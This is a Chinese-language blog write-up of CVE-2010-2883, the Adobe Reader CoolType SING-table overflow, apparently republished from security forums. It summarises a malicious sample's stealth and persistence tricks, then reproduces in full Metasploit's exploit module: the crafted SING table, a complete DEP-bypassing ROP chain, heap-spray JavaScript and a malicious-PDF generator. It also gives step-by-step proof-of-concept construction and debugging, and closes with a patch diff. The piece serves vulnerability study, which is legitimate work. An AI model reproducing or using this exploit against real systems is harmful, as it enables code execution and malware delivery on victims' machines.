修改打印服务程序 spoolsv.exe 的导入表,使其在启动时加载恶意 dll 文件。导入表注入
-
修改文件时间,以增加隐蔽性。
-
释放加密后的 msxml0r.dll ,然后对 msxml0r.dll 进行解密。同时 msxml0r.dll 名字和系统现有的文件名十分相似,增加了隐蔽性。
-
运行完程序后,没用的程序则删除自身,防止被发现。
-
使用加壳技术阻止逆向分析恶意程序。
-
通过远程下载,把恶意程序下载到计划任务文件夹来实现自动运行,并且具有更新功能。
-
修改恶意样本 PDF 文件为正常 PDF 文件并打开,制造一种打开正常 PDF 文件的假象防止被发现
7.Exploit 脚本分析
7.1 exploit()
Exploit脚本位置在 D:\metasploit-framework\embedded\framework\modules\exploits\windows\fileformat\adobe_cooltype_sing.rb,其主函数为exploit,内容如下:
def exploit
ttf_data = make_ttf() # 构造ttf字体数据,SING表内容就在其中
js_data = make_js(payload.encoded) # 构建Heap Spary js代码,ROP Chain及Payload就包含在里面
# Create the pdf
pdf = make_pdf(ttf_data, js_data) # 构造pdf文件数据,将前面构造好的ttf字体数据和js代码放入其中
print_status("Creating '#{datastore['FILENAME']}' file...")
file_create(pdf) # 创建pdf文件
end
7.2 make_ttf()
-
此函数首先打开了一个正常的 ttf 模板文件,然后构造了 SING 表数据,可见 tableVersionMajor 被设为了0
-
uniqueName字段先是被初始化成了随机字符sing << rand_text(0x254 - sing.length),然后再设置几个特殊位置用于作为跳转地址
-
将 ttf字体文件中的 name 表数据替换为构造的SING表数据,“name” 字符串替换为 “SING”
使用 0101Editor 查看基础的 TTF 文件,该文件路径:D:\metasploit-framework\embedded\framework\data\exploits\cve-2010-2883.ttf。该代码其实是将原本的name表的tag修改成了sing,同时用sing表的内容替换了位于0x11C的原本name表的内容
-
构造的 SING 表数据包括用于将程序控制流劫持到 Heap Spary 代码处执行的 ROP Chain,以及溢出后、获得程序控制流之前,用于绕过造成程序执行出错的数据。
def make_ttf
ttf_data = ""
# 加载正常的ttf字体文件
# NOTE: The 0day used Vera.ttf (785d2fd45984c6548763ae6702d83e20)
path = File.join( Msf::Config.data_directory, "exploits", "cve-2010-2883.ttf" )
fd = File.open( path, "rb" )
ttf_data = fd.read(fd.stat.size)
fd.close
# 构造SING表
sing = ''
sing << [
0, 1, # tableVersionMajor, tableVersionMinor (0.1)
0xe01, # glyphletVersion
0x100, # embeddingInfo
0, # mainGID
0, # unitsPerEm
0, # vertAdvance
0x3a00 # vertOrigin
].pack('vvvvvvvv') # 把两个字符当作little-endian字节顺序的无符号的short。
# uniqueName
# "The uniqueName string must be a string of at most 27 7-bit ASCII characters"
#sing << "A" * (0x254 - sing.length)
sing << rand_text(0x254 - sing.length) # 生成随机文本字符,避免漏洞利用中的坏字符
# 0xffffffff gets written here @ 0x7001400 (in BIB.dll)
# 07001400 f0:ff08 lock dec dword ptr ds:[eax] ; eax=0x4a8a08e2,这句代码将[0x4a8a08e2]变为0xFFFFFFFF
# 这段代码对eax指向的内存进行了读写,所以eax的值必须是一个可读可写的地址
# 0x4a8a08e2位于icucnv36的.data段,0x4a8a08e2由this指针(对象(0x0012E608))的值得来(lea eax,dword ptr ds:[ecx+0x1C])
sing[0x140, 4] = [0x4a8a08e2 - 0x1c].pack('V')
# This becomes our new EIP (puts esp to stack buffer),此ROPgadget使esp指向栈上uniqueName缓冲区内
# ROP1
ret = 0x4a80cb38 # add ebp, 0x794 / leave / ret
sing[0x208, 4] = [ret].pack('V')
# This becomes the new eip after the first return,此ROPgadget使esp变为Heap Spary中的Payload地址,并跳转到Payload执行
# ROP2
ret = 0x4a82a714 # pop esp / ret
sing[0x18, 4] = [ret].pack('V')
# This becomes the new esp after the first return,Heap Spary中的Payload地址,新的esp
esp = 0x0c0c0c0c
sing[0x1c, 4] = [esp].pack('V')
# Without the following, sub_801ba57 returns 0.保证字符串有一个\x00的结尾
sing[0x24c, 4] = [0x6c].pack('V')
ttf_data[0xec, 4] = "SING"
ttf_data[0x11c, sing.length] = sing
ttf_data
end
7.3 make_js()
此函数将 javascript 的代码转换为字符串,并将 javascript 的变量名进行混淆。
def make_js(encoded_payload)
# 使用icucnv36.dll中的代码片段,构建ret2lib的ROP Chain.以此绕过DEP,执行shellcode.
stack_data = [
0x41414141, # unused
0x4a8063a5, # pop ecx / ret
0x4a8a0000, # becomes ecx
0x4a802196, # mov [ecx],eax / ret # save whatever eax starts as
0x4a801f90, # pop eax / ret
0x4a84903c, # becomes eax (import for CreateFileA)
# -- call CreateFileA
0x4a80b692, # jmp [eax]
0x4a801064, # ret
0x4a8522c8, # first arg to CreateFileA (lpFileName / pointer to "iso88591")
0x10000000, # second arg - dwDesiredAccess
0x00000000, # third arg - dwShareMode
0x00000000, # fourth arg - lpSecurityAttributes
0x00000002, # fifth arg - dwCreationDisposition
0x00000102, # sixth arg - dwFlagsAndAttributes
0x00000000, # seventh arg - hTemplateFile
0x4a8063a5, # pop ecx / ret
0x4a801064, # becomes ecx
0x4a842db2, # xchg eax,edi / ret
0x4a802ab1, # pop ebx / ret
0x00000008, # becomes ebx - offset to modify
#
# This points at a neat-o block of code that ... TBD
#
# and [esp+ebx*2],edi
# jne check_slash
# ret_one:
# mov al,1
# ret
# check_slash:
# cmp al,0x2f
# je ret_one
# cmp al,0x41
# jl check_lower
# cmp al,0x5a
# jle check_ptr
# check_lower:
# cmp al,0x61
# jl ret_zero
# cmp al,0x7a
# jg ret_zero
# cmp [ecx+1],0x3a
# je ret_one
# ret_zero:
# xor al,al
# ret
#
0x4a80a8a6, # execute fun block
0x4a801f90, # pop eax / ret
0x4a849038, # becomes eax (import for CreateFileMappingA)
# -- call CreateFileMappingA
0x4a80b692, # jmp [eax]
0x4a801064, # ret
0xffffffff, # arguments to CreateFileMappingA, hFile
0x00000000, # lpAttributes
0x00000040, # flProtect
0x00000000, # dwMaximumSizeHigh
0x00010000, # dwMaximumSizeLow
0x00000000, # lpName
0x4a8063a5, # pop ecx / ret
0x4a801064, # becomes ecx
0x4a842db2, # xchg eax,edi / ret
0x4a802ab1, # pop ebx / ret
0x00000008, # becomes ebx - offset to modify
0x4a80a8a6, # execute fun block
0x4a801f90, # pop eax / ret
0x4a849030, # becomes eax (import for MapViewOfFile
# -- call MapViewOfFile
0x4a80b692, # jmp [eax]
0x4a801064, # ret
0xffffffff, # args to MapViewOfFile - hFileMappingObject
0x00000022, # dwDesiredAccess
0x00000000, # dwFileOffsetHigh
0x00000000, # dwFileOffsetLow
0x00010000, # dwNumberOfBytesToMap
0x4a8063a5, # pop ecx / ret
0x4a8a0004, # becomes ecx - writable pointer
0x4a802196, # mov [ecx],eax / ret - save map base addr
0x4a8063a5, # pop ecx / ret
0x4a801064, # becomes ecx - ptr to ret
0x4a842db2, # xchg eax,edi / ret
0x4a802ab1, # pop ebx / ret
0x00000030, # becomes ebx - offset to modify
0x4a80a8a6, # execute fun block
0x4a801f90, # pop eax / ret
0x4a8a0004, # becomes eax - saved file mapping ptr
0x4a80a7d8, # mov eax,[eax] / ret - load saved mapping ptr
0x4a8063a5, # pop ecx / ret
0x4a801064, # becomes ecx - ptr to ret
0x4a842db2, # xchg eax,edi / ret
0x4a802ab1, # pop ebx / ret
0x00000020, # becomes ebx - offset to modify
0x4a80a8a6, # execute fun block
0x4a8063a5, # pop ecx / ret
0x4a801064, # becomes ecx - ptr to ret
0x4a80aedc, # lea edx,[esp+0xc] / push edx / push eax / push [esp+0xc] / push [0x4a8a093c] / call ecx / add esp, 0x10 / ret
0x4a801f90, # pop eax / ret
0x00000034, # becomes eax
0x4a80d585, # add eax,edx / ret
0x4a8063a5, # pop ecx / ret
0x4a801064, # becomes ecx - ptr to ret
0x4a842db2, # xchg eax,edi / ret
0x4a802ab1, # pop ebx / ret
0x0000000a, # becomes ebx - offset to modify
0x4a80a8a6, # execute fun block
0x4a801f90, # pop eax / ret
0x4a849170, # becomes eax (import for memcpy)
# -- call memcpy
0x4a80b692, # jmp [eax]
0xffffffff, # this stuff gets overwritten by the block at 0x4a80aedc, becomes ret from memcpy
0xffffffff, # becomes first arg to memcpy (dst)
0xffffffff, # becomes second arg to memcpy (src)
0x00001000, # becomes third arg to memcpy (length)
].pack('V*')
# 用于混淆js的变量名
var_unescape = rand_text_alpha(rand(100) + 1) # rand_text_alpha()用于生成随机的字符串,同时避免生成漏洞利用中的坏字符。
var_shellcode = rand_text_alpha(rand(100) + 1)
var_start = rand_text_alpha(rand(100) + 1)
var_s = 0x10000
var_c = rand_text_alpha(rand(100) + 1)
var_b = rand_text_alpha(rand(100) + 1)
var_d = rand_text_alpha(rand(100) + 1)
var_3 = rand_text_alpha(rand(100) + 1)
var_i = rand_text_alpha(rand(100) + 1)
var_4 = rand_text_alpha(rand(100) + 1)
payload_buf = ''
payload_buf << stack_data # 将真正的shellcode复制到可读可写可执行内存段的ROP Chain。
payload_buf << encoded_payload # 经过编码的shellcode放在ROP Chain的后面
escaped_payload = Rex::Text.to_unescape(payload_buf) # 返回用于Javascript的unicode转义字符串
js = %Q|
var #{var_unescape} = unescape;
var #{var_shellcode} = #{var_unescape}( '#{escaped_payload}' );
var #{var_c} = #{var_unescape}( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );
while (#{var_c}.length + 20 + 8 < #{var_s}) #{var_c}+=#{var_c};
#{var_b} = #{var_c}.substring(0, (0x0c0c-0x24)/2);
#{var_b} += #{var_shellcode};
#{var_b} += #{var_c};
#{var_d} = #{var_b}.substring(0, #{var_s}/2);
while(#{var_d}.length < 0x80000) #{var_d} += #{var_d};
#{var_3} = #{var_d}.substring(0, 0x80000 - (0x1020-0x08) / 2);
var #{var_4} = new Array();
for (#{var_i}=0;#{var_i}<0x1f0;#{var_i}++) #{var_4}[#{var_i}]=#{var_3}+"s";
|
js
end
7.4 make_pdf()
此函数一步一步构造pdf中的每一个obj,将 ttf 字体数据和 javascript 代码分别放在了 obj10 和 obj12 ,然后在 obj1 中设置 /OpenAction 11 0 R ,使 pdf 文件打开时,javascript能够被执行,从而实现 Heap Spary。还构造了 obj13,使 icucnv36.dll 能够被加载。因为 exp 中使用的 ROPgadget 都是出自 icucnv36.dll 模块的,所以其必须要被加载到内存中
def make_pdf(ttf, js)
xref = []
eol = "\n" # end of line
endobj = "endobj" << eol
# Randomize PDF version?
pdf = "%PDF-1.5" << eol
pdf << "%" << random_non_ascii_string(4) << eol # 四字节随机的非ASCII字符串
# catalog
xref << pdf.length
pdf << io_def(1) << n_obfu("<<") << eol
pdf << n_obfu("/Pages ") << io_ref(2) << eol
pdf << n_obfu("/Type /Catalog") << eol
pdf << n_obfu("/OpenAction ") << io_ref(11) << eol
# The AcroForm is required to get icucnv36.dll to load
pdf << n_obfu("/AcroForm ") << io_ref(13) << eol # /AcroForm是为了主程序能够加载icucnv36.dll
pdf << n_obfu(">>") << eol
pdf << endobj
# pages array
xref << pdf.length
pdf << io_def(2) << n_obfu("<<") << eol
pdf << n_obfu("/MediaBox ") << io_ref(3) << eol
pdf << n_obfu("/Resources ") << io_ref(4) << eol
pdf << n_obfu("/Kids [") << io_ref(5) << "]" << eol
pdf << n_obfu("/Count 1") << eol
pdf << n_obfu("/Type /Pages") << eol
pdf << n_obfu(">>") << eol
pdf << endobj
# media box
xref << pdf.length
pdf << io_def(3)
pdf << "[0 0 595 842]" << eol
pdf << endobj
# resources
xref << pdf.length
pdf << io_def(4)
pdf << n_obfu("<<") << eol
pdf << n_obfu("/Font ") << io_ref(6) << eol
pdf << ">>" << eol
pdf << endobj
# page 1
xref << pdf.length
pdf << io_def(5) << n_obfu("<<") << eol
pdf << n_obfu("/Parent ") << io_ref(2) << eol
pdf << n_obfu("/MediaBox ") << io_ref(3) << eol
pdf << n_obfu("/Resources ") << io_ref(4) << eol
pdf << n_obfu("/Contents [") << io_ref(8) << n_obfu("]") << eol
pdf << n_obfu("/Type /Page") << eol
pdf << n_obfu(">>") << eol # end obj dict
pdf << endobj
# font
xref << pdf.length
pdf << io_def(6) << n_obfu("<<") << eol
pdf << n_obfu("/F1 ") << io_ref(7) << eol
pdf << ">>" << eol
pdf << endobj
# ttf object
xref << pdf.length
pdf << io_def(7) << n_obfu("<<") << eol
pdf << n_obfu("/Type /Font") << eol
pdf << n_obfu("/Subtype /TrueType") << eol
pdf << n_obfu("/Name /F1") << eol
pdf << n_obfu("/BaseFont /Cinema") << eol
pdf << n_obfu("/Widths []") << eol
pdf << n_obfu("/FontDescriptor ") << io_ref(9)
pdf << n_obfu("/Encoding /MacRomanEncoding")
pdf << n_obfu(">>") << eol
pdf << endobj
# page content
content = "Hello World!"
content = "" +
"0 g" + eol +
"BT" + eol +
"/F1 32 Tf" + eol +
"32 Tc" + eol +
"1 0 0 1 32 773.872 Tm" + eol +
"(" + content + ") Tj" + eol +
"ET"
xref << pdf.length
pdf << io_def(8) << "<<" << eol
pdf << n_obfu("/Length %s" % content.length) << eol
pdf << ">>" << eol
pdf << "stream" << eol
pdf << content << eol
pdf << "endstream" << eol
pdf << endobj
# font descriptor
xref << pdf.length
pdf << io_def(9) << n_obfu("<<")
pdf << n_obfu("/Type/FontDescriptor/FontName/Cinema")
pdf << n_obfu("/Flags %d" % (2**2 + 2**6 + 2**17))
pdf << n_obfu("/FontBBox [-177 -269 1123 866]")
pdf << n_obfu("/FontFile2 ") << io_ref(10)
pdf << n_obfu(">>") << eol
pdf << endobj
# ttf stream
xref << pdf.length
compressed = Zlib::Deflate.deflate(ttf) # 字体数据是通过zlib进行压缩后放入pdf的
pdf << io_def(10) << n_obfu("<</Length %s/Filter/FlateDecode/Length1 %s>>" % [compressed.length, ttf.length]) << eol
pdf << "stream" << eol
pdf << compressed << eol
pdf << "endstream" << eol
pdf << endobj
# js action
xref << pdf.length
pdf << io_def(11) << n_obfu("<<")
pdf << n_obfu("/Type/Action/S/JavaScript/JS ") + io_ref(12)
pdf << n_obfu(">>") << eol
pdf << endobj
# js stream
xref << pdf.length
compressed = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js)) # javascript代码也是通过zlib进行压缩后放入pdf的
pdf << io_def(12) << n_obfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
pdf << "stream" << eol
pdf << compressed << eol
pdf << "endstream" << eol
pdf << endobj
###
# The following form related data is required to get icucnv36.dll to load
# 以下表单相关数据是为了让icucnv36.dll得到加载
###
# form object
xref << pdf.length
pdf << io_def(13)
pdf << n_obfu("<</XFA ") << io_ref(14) << n_obfu(">>") << eol
pdf << endobj
# form stream
xfa = <<-EOF
<?xml version="1.0" encoding="UTF-8"?>
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
<config xmlns="http://www.xfa.org/schema/xci/2.6/">
<present><pdf><interactive>1</interactive></pdf></present>
</config>
<template xmlns="http://www.xfa.org/schema/xfa-template/2.6/">
<subform name="form1" layout="tb" locale="en_US">
<pageSet></pageSet>
</subform></template></xdp:xdp>
EOF
xref << pdf.length
pdf << io_def(14) << n_obfu("<</Length %s>>" % xfa.length) << eol
pdf << "stream" << eol
pdf << xfa << eol
pdf << "endstream" << eol
pdf << endobj
###
# end form stuff for icucnv36.dll
###
# trailing stuff
xrefPosition = pdf.length
pdf << "xref" << eol
pdf << "0 %d" % (xref.length + 1) << eol
pdf << "0000000000 65535 f" << eol
xref.each do |index|
pdf << "%010d 00000 n" % index << eol
end
pdf << "trailer" << eol
pdf << n_obfu("<</Size %d/Root " % (xref.length + 1)) << io_ref(1) << ">>" << eol
pdf << "startxref" << eol
pdf << xrefPosition.to_s() << eol
pdf << "%%EOF" << eol
pdf
end
8. 自己构造 POC
8.1 基本的修改
-
选择原始合法 TTF 文件 Vera.ttf,将 name 表名称修改为 SING (注意大写)表,其余不变,此时数据偏移位于 0x11C,长度为0x1DDF
1)将 D:\metasploit-framework\embedded\framework\data\exploits 目录下的 cve-2010-2883.ttf 复制出来
2)将 name 表名称修改为 SING (注意大写)表,其余不变,此时数据偏移位于 0x11C,长度为0x1DDF
-
使用 pattern_create.rb 生成字符串粘贴到sing表的数据部分
1)因为会有四个字节替换返回地址,为了确保跳转到一个无法执行的位置,从而确定是哪四个字节覆盖了返回地址,因此我决定直接将生成的字符串作为16进制复制到文件中
2)关于生成的长度:不能太长,否则进行strcat复制到栈中时,会直接写到不可写的范围,导致程序终止。经过调试判断,这里选择长度 1000
此时 Windows 使用 pattern_create.rb 有点问题,所以在这里我使用 Kali :
sudo -i cd /usr/share/metasploit-framework/tools/exploit ./pattern_create.rb -l 1000 -s ABCDEF,123456789,abcdef,123456789 > output.txt
3)选择原文件中uniquename字段中前 1000 个字节,进行数据替换,并修改最后三个字节为0x00
-
此时 tableVersionMajor 已经是0了,所以不用做修改
-
然后使用新生成的ttf文件替换msf.pdf中的ttf文件,并根据软件的提示,修改header中的数据大小
1)使用 PDFStreamDumper 打开 msf.pdf
2)右键 10 0x468-0xA19A,点击 Replace Stream 替换 ttf 文件
3)选择刚刚修改的 ttf 文件进行替换
4)依次点击:是
5)将新文件命名为 poc.pdf
6)点击确定
7)加载新的 pdf 文件后,可见 ttf 文件已被替换
8)右键显示头部
9)打开 0101Editor 修改头部大小为 40349
-
使用windbg附加adobereader,在strcat调用处设置断点 bp 0x0803DDAB,然后打开新生成的poc.pdf
8.2 替换成可写内存的位置
-
继续执行,程序中断
-
eax这里无法写入,看一下eax的来源,发现来自[ecx+1Ch],而ecx的值是35633241。所以需要在生成的文本中找到41326335,并把它替换成一个可写的地址
-
在之前修改过的 ttf 文件中查找 41326335
-
通过!address命令查看内存,找一块可写的内存,我选择的是0x23949228
-
将 41326335 修改为 0x23949228,重新替换到 pdf 文件中
8.3 流程劫持位置的确定
-
替换后,重复上述步骤,会发现程序直接退出了
-
调试发现,退出行为发生在
.text:0803DEE1 E8 A9 A2 00 00 call @__security_check_cookie@4 ;
处,所以猜测是覆盖的数据太多,导致check_cookie失败了,在该处下断点,重新加载进行调试 -
仔细检查这里的代码:
0803ded9 8b8d04010000 mov ecx,dword ptr [ebp+104h] 0803dedf 33cd xor ecx,ebp 0803dee1 e8a9a20000 call CoolType!CTInit+0x1aec (0804818f)
注意这里 ecx 和 ebp 做异或之后就是要检查的cooki值,而ecx的值来自 0012e5dc,是 3370d699。
所以需要在生成文本中找到0xa3c5a3c6,但是发现这个数值的位置甚至还在第6步的可写内存地址之前,因为已经有了上面的分析经验,所以知道现在的分析步骤肯定是存在问题的
如果没有之前的分析步骤,直接自己写的话,我应该会不断修改替换的数据长度,这中间肯定要耗费一定时间,但是最终找到正确方向是没什么问题的。为了方便设置内存访问断点,还是使用OD调试,在程序到达上一步可写内存的指令后,设置strcat目标地址处的内存访问断点
第一次中断在0x8001263,这里获取的数值不影响程序的执行流程;
第三次中断在0x801BA64,程序尝试从0012E71C获取值C4A6C3A6。从IDA中看静态代码,这里数据的取址会直接影响该函数的返回值:
9. 漏洞修复
-
安装 Adobe Reader 9.4.0 版本,把其中的 CoolType.dll 复制出来,使用 bindiff 进行分析,或者用 ida 定位到相同位置,查看差异,发现原 dll 文件的sub_803DCF9 函数和打补丁后的 dll 文件 sub_0803DD33 函数相似度比较低,明显是进行了大修
-
查看函数修改后的对比图,发现在 0x803DDAB 处本来是调用 strcat 的,在打补丁后的该处变成了调用 0x813391E 函数
-
使用 ida 查看 sub_0803DD33 函数,发现传入了一个长度大小为 0x260
-
查看 sub_813391E 函数,发现在第7行处检查了长度是否大于 260,并调用更安全的 strncat 函数,复制字符串的长度不超过 260 字符
10. 参考
博客
(77条消息) CVE-2010-2883 从漏洞分析到样本分析_TimeShatter的博客-CSDN博客_漏洞样本
CVE-2010-2883复现与分析 | Sp4n9x's Blog
[原创]CVE-2010-2883分析_更新:如何自己构造poc文件-二进制漏洞-看雪论坛-安全社区|安全招聘|bbs.pediy.com
专业书文章来源:https://www.toymoban.com/news/detail-825292.html
《漏洞战争》文章来源地址https://www.toymoban.com/news/detail-825292.html
到了这里,关于CVE-2010-2883漏洞的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!